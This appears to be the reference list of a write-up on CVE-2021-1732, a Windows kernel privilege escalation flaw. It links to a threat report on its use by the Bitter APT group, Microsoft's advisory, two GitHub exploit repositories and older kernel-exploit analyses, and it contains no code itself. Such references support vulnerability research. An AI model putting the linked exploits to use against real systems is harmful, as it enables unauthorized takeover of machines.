[1]WINDOWS KERNEL ZERO-DAY EXPLOIT (CVE-2021-1732) IS USED BY BITTER APT IN TARGETED ATTACK

https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/

[2]Windows Win32k Elevation of Privilege Vulnerability

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1732

[3]KaLendsi/CVE-2021-1732-Exploit

https://github.com/KaLendsi/CVE-2021-1732-Exploit

[4]k-k-k-k-k/CVE-2021-1732

https://github.com/k-k-k-k-k/CVE-2021-1732

[5]Analyzing CVE-2016-7255 Exploit In The Wild

https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html

[6]LPE vulnerabilities exploitation on Windows 10 Anniversary Update Introduction

http://cvr-data.blogspot.com/2016/11/lpe-vulnerabilities-exploitation-on.html